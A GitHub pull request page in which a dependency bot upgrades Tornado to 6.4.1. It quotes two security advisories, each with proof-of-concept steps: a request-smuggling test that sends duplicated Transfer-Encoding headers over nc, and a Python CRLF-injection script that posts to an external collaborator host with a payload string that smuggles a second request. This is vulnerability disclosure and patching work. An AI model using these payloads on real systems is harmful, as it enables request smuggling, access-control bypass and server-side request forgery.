edina / nbexchange

External exchange for nbgrader
Other
6 stars 2 forks source link

Update dependency tornado to v6.4.1 [SECURITY] #161

Closed renovate[bot] closed 1 month ago

renovate[bot] commented 5 months ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
tornado (source) ==6.4 -> ==6.4.1 age adoption passing confidence

GitHub Vulnerability Alerts

GHSA-753j-mpmx-qq6g

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

  1. Install Tornado.
  2. Start a simple Tornado server that echoes each received request's body:
    
    cat << EOF > server.py
    import asyncio
    import tornado

class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body)

async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait()

asyncio.run(main()) EOF python3 server.py &

2. Send a valid chunked request:
```bash
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
  1. Observe that the response is as expected:
    
    HTTP/1.1 200 OK
    Server: TornadoServer/6.3.3
    Content-Type: text/html; charset=UTF-8
    Date: Sat, 07 Oct 2023 17:32:05 GMT
    Content-Length: 1

Z

4. Send a request with two `Transfer-Encoding: chunked` headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

5. Observe the strange response:

HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0

HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

### Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

#### [GHSA-w235-7p84-xx57](https://togithub.com/tornadoweb/tornado/security/advisories/GHSA-w235-7p84-xx57)

### Summary
Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.

### Details
When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.

This behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states:

> The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.

### PoC
The issue can be reproduced using the following script:

```python
import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Impact

Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.


Release Notes

tornadoweb/tornado (tornado) ### [`v6.4.1`](https://togithub.com/tornadoweb/tornado/compare/v6.4.0...v6.4.1) [Compare Source](https://togithub.com/tornadoweb/tornado/compare/v6.4.0...v6.4.1)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.



This PR was generated by Mend Renovate. View the repository job log.

renovate[bot] commented 1 month ago

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (==6.4.1). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.